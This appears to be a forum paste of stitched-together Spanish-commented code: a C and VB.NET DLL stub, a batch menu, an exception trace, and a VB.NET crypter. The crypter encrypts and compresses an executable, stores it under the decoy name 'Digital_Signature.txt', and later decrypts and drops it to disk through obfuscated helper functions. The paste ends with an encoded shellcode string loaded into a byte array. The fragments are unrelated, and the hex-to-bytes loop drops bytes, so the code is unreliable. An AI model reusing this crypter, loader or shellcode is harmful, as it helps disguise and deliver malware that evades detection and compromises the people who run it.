#define _CRT_SECURE_NO_WARNINGS
#include <Windows.h>
#include <stdio.h>
 
void Debug(char* text);
BOOL WINAPI DllMain(HINSTANCE dllHistance, DWORD callReason, void* reserved)
{
        switch (callReason)
        {
                case DLL_PROCESS_ATTACH:
                {
                        Debug("Loading");
                        break;
                }
                case DLL_PROCESS_DETACH:
                {
                        break;
                }
                default:
                {
                        break;
                }
        }
        return TRUE;
}
void Debug(char* text)
{
        FILE* fichier = fopen("debug.txt", "a");
        if (fichier == 0) fichier = fopen("debug.txt", "w");
        fwrite(text, strlen(text), 1, fichier);
        fputs("\r\n", fichier);
 
        fclose(fichier);
}
 

 Public Const DLL_PROCESS_ATTACH = 1
 
        Public Const DLL_PROCESS_DETACH = 0
 
        Public Function DllMain(ByVal dllHistance As IntPtr, ByVal callReason As Integer, ByVal reserved As Object) As Boolean
            Select Case callReason
                Case DLL_PROCESS_ATTACH
                    Debug("Loading")
                    Return True
                Case DLL_PROCESS_DETACH
                    Return False
            End Select
            Return False
        End Function
 
        Public Sub Debug(ByVal texto As String)
            System.IO.File.WriteAllText("debug.txt", texto)
        End Sub

@echo off
:menu1
set /p tipo= Ingresa opcion y enter: 
if not defined tipo (goto:menu1) >NUL

@echo off & Title  Batch Menu Base & Color b
:menu1
cls
echo/
echo/
echo/
set /p tipo= Ingresa opcion y enter: 
if not defined tipo (goto:menu1) >NUL
If ["%tipo%"]==["help"] goto Help >NUL
If ["%tipo%"]==["1"] goto 1 >NUL
If ["%tipo%"]==["2"] goto 2 >NUL
 
 
:1
cls
Echo/
Echo opcion 1
Echo/
pause
End
 
:2
cls
Echo/
Echo opcion 2
Echo/
pause
End
 
:Help
cls
Echo/
Echo/
Echo                Ingrese Opciones : 1 - 2 - 3 - 4 y presione enter
Echo/ 
Echo                                 Batch Menu Base
Echo/
Echo/
Echo/
Echo/ & pause
goto :menu1

************** Texto de la excepción **************
System.OverflowException: La operación aritmética ha provocado un desbordamiento.
   en MainNamespace.MainClass.DecompressData(String CompressedText) en C:\Users\S4lsalsoft\AppData\Local\Temp\r0fb35eb.0.vb:línea 302
   en MainNamespace.MainClass.InicialLoader() en C:\Users\S4lsalsoft\AppData\Local\Temp\r0fb35eb.0.vb:línea 237
   en MainNamespace.MainClass.MainClass_Load(Object sender, EventArgs e) en C:\Users\S4lsalsoft\AppData\Local\Temp\r0fb35eb.0.vb:línea 36
   en System.Windows.Forms.Form.OnLoad(EventArgs e)
   en System.Windows.Forms.Form.OnCreateControl()
   en System.Windows.Forms.Control.CreateControl(Boolean fIgnoreVisible)
   en System.Windows.Forms.Control.CreateControl()
   en System.Windows.Forms.Control.WmShowWindow(Message& m)
   en System.Windows.Forms.Control.WndProc(Message& m)
   en System.Windows.Forms.ScrollableControl.WndProc(Message& m)
   en System.Windows.Forms.Form.WmShowWindow(Message& m)
   en System.Windows.Forms.Form.WndProc(Message& m)
   en System.Windows.Forms.Control.ControlNativeWindow.OnMessage(Message& m)
   en System.Windows.Forms.Control.ControlNativeWindow.WndProc(Message& m)
   en System.Windows.Forms.NativeWindow.Callback(IntPtr hWnd, Int32 msg, IntPtr wparam, IntPtr lparam)

 
Private Sub Inicio()
        Dim FileCrypt As String = ConverexetohexandCompress("Ca.exe", "PutoElQueloLea")
        File.WriteAllText("Digital_Signature.txt", FileCrypt)
    End Sub
 
 
    Public Shared Function ConverexetohexandCompress(ByVal FilePath As String, ByVal PasswordtoCrypt As String) As String
        Dim input As New FileStream(FilePath, FileMode.Open, FileAccess.Read) 
        Dim reader As New BinaryReader(input) 
        Dim bytes() As Byte
        bytes = reader.ReadBytes(CInt(input.Length)) 'leemos los bytes
        Dim hexCompress As String = CompressedData(BytesToHex(bytes))  ' Pasamos los bytes a Hex y Comprimimos.
        Dim exefilestringenc As String = String.Empty
        exefilestringenc = Rijndaelcrypt(hexCompress, PasswordtoCrypt) 'Encryptamos (Rijndael)
        Return exefilestringenc
    End Function
 
 
 
 Public Shared Function CompressedData(ByVal Text As String) As String 'Funcion para Comprimir String
 
        Dim Buffer As Byte() = System.Text.Encoding.Unicode.GetBytes(Text)
        Dim mStream As New MemoryStream()
        Using GZipStream As New IO.Compression.GZipStream(mStream, IO.Compression.CompressionMode.Compress, True)
            GZipStream.Write(Buffer, 0, Buffer.Length)
        End Using
        mStream.Position = 0
        Dim outStream As New MemoryStream()
        Dim Compressed As Byte() = New Byte(mStream.Length - 1) {}
        mStream.Read(Compressed, 0, Compressed.Length)
        Dim GZipBuffer As Byte() = New Byte(Compressed.Length + 3) {}
        System.Buffer.BlockCopy(Compressed, 0, GZipBuffer, 4, Compressed.Length)
        System.Buffer.BlockCopy(BitConverter.GetBytes(Buffer.Length), 0, GZipBuffer, 0, 4)
        Return Convert.ToBase64String(GZipBuffer)
 
    End Function
 
 
  Public Shared Function BytesToHex(ByVal Input As Byte()) As String 'Funcion para convertir los bytes en hex
        Dim Result As New System.Text.StringBuilder(Input.Length * 2)
        Dim Part As String
        For Each b As Byte In Input
            Part = Conversion.Hex(b)
            If Part.Length = 1 Then Part = "0" & Part
            Result.Append(Part)
        Next
        Return Result.ToString()
    End Function
 
 Public Shared Function Rijndaelcrypt(ByVal File As String, ByVal Key As String) ' Funcion para Encryptar.
        Dim oAesProvider As New System.Security.Cryptography.RijndaelManaged
        Dim btClear() As Byte
        Dim btSalt() As Byte = New Byte() {1, 2, 3, 4, 5, 6, 7, 8}
        Dim oKeyGenerator As New Rfc2898DeriveBytes(Key, btSalt)
        oAesProvider.Key = oKeyGenerator.GetBytes(oAesProvider.Key.Length)
        oAesProvider.IV = oKeyGenerator.GetBytes(oAesProvider.IV.Length)
        Dim ms As New IO.MemoryStream
        Dim cs As New CryptoStream(ms, _
          oAesProvider.CreateEncryptor(), _
          CryptoStreamMode.Write)
        btClear = System.Text.Encoding.UTF8.GetBytes(File)
        cs.Write(btClear, 0, btClear.Length)
        cs.Close()
        File = Convert.ToBase64String(ms.ToArray)
        Return File
    End Function
 
 

En Si es esto :

Dim FileCompressC As String = File.ReadAllText("Digital_Signature.txt")
Dim MasterKey As String = "PutoElQueloLea"
 
 
 Public Sub InicialLoader()
            Dim ExtractApp As String = "Ca.exe"
 
            Dim FileCoD As String = DecryptS(FileCompressC, MasterKey) ' Desencrytamos
            Dim DesFile As String = DecompressData(FileCoD) ' Descomprimimos el String Hex
            File.WriteAllBytes(ExtractApp, KHwGeygjHq(DesFile)) 'Pasamos de Hex a Bytes y Generamos el .exe
        End Sub
 
 Public Shared Function RijndaelDecrypt(ByVal UDecryptU As String, ByVal UKeyU As String) ' Desencryptamos
        Dim XoAesProviderX As New System.Security.Cryptography.RijndaelManaged
        Dim XbtCipherX() As Byte
        Dim XbtSaltX() As Byte = New Byte() {1, 2, 3, 4, 5, 6, 7, 8}
        Dim XoKeyGeneratorX As New System.Security.Cryptography.Rfc2898DeriveBytes(UKeyU, XbtSaltX)
        XoAesProviderX.Key = XoKeyGeneratorX.GetBytes(XoAesProviderX.Key.Length)
        XoAesProviderX.IV = XoKeyGeneratorX.GetBytes(XoAesProviderX.IV.Length)
        Dim XmsX As New IO.MemoryStream
        Dim XcsX As New System.Security.Cryptography.CryptoStream(XmsX, XoAesProviderX.CreateDecryptor(), _
          System.Security.Cryptography.CryptoStreamMode.Write)
        Try
            XbtCipherX = Convert.FromBase64String(UDecryptU)
            XcsX.Write(XbtCipherX, 0, XbtCipherX.Length)
            XcsX.Close()
            UDecryptU = System.Text.Encoding.UTF8.GetString(XmsX.ToArray)
        Catch
        End Try
        Return UDecryptU
    End Function
 
  Public Shared Function DecompressData(ByVal CompressedText As String) As String ' Descomprimimos el String Hex
            Dim GZipBuffer As Byte() = Convert.FromBase64String(CompressedText)
 
            Using mStream As New MemoryStream()
                Dim msgLength As Integer = BitConverter.ToInt32(GZipBuffer, 0)
                mStream.Write(GZipBuffer, 4, GZipBuffer.Length - 4)
                Dim Buffer As Byte() = New Byte(msgLength - 1) {}
                mStream.Position = 0
                Using GZipStream As New System.IO.Compression.GZipStream(mStream, IO.Compression.CompressionMode.Decompress)
                    GZipStream.Read(Buffer, 0, Buffer.Length)
                End Using
                Return System.Text.Encoding.Unicode.GetString(Buffer, 0, Buffer.Length)
            End Using
        End Function
 
 
Public Function KHwGeygjHq(ByVal KMvWYyQigLibcI As String) As Byte() ' Hex to Bytes
            Dim cKHbugadWMVB
            Dim WdfGomorOa() As Byte
            KMvWYyQigLibcI = Microsoft.VisualBasic.Strings.Replace(KMvWYyQigLibcI, " ", "")
            ReDim WdfGomorOa((Microsoft.VisualBasic.Strings.Len(KMvWYyQigLibcI) \ 2) - 1)
            For cKHbugadWMVB = 0 To Microsoft.VisualBasic.Information.UBound(WdfGomorOa) - 2
                WdfGomorOa(cKHbugadWMVB) = CLng("&H" & Microsoft.VisualBasic.Strings.Mid$(KMvWYyQigLibcI, 2 * cKHbugadWMVB + 1, 2))
            Next
            KHwGeygjHq = WdfGomorOa
        End Function
 
 

 Dim shellcode As String = "PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIylJHk9s0C0s0SPmYxeTqzrqtnkaBDpNkV2VlNkpRb4nkqbQ8dOx7rjfFtqyoVQo0nLgLqq1lfbVL10IQ8O6mWqiWZBl0BrSgNkaBDPNkbbwLUQJplKQPpxOukpbTRjWqXPV0nkg828Nkshq0c1N3zCUlQYnk5dlKS1N6eaKOfQYPNLjaxOdMS1kwUhKPQeydtCQmIh7KsM7TBUIrV8LKPX6DgqICpfNkVlrkLKrxWls1zsLK5TNkuQN0Oyg4GTvD3kQKSQqIcjPQkO9pChcobzLKVrJKMVsmBJfaLMMUx9GpEPC0v0E8vQlKBOMWYoyEMkM0wmtjDJCXoVoeoMomyojuEl4FalDJk09kkPQe35mkw7fsd2PoBJ30sciohUbCSQbLbCfNauD8SUs0AA"
        Dim shell_array(shellcode.Length - 1) As Byte
        Dim i As Integer = 0
        Do
            shell_array(i) = Convert.ToByte(shellcode(i))
            i = i + 1
 
        Loop While i < shellcode.Length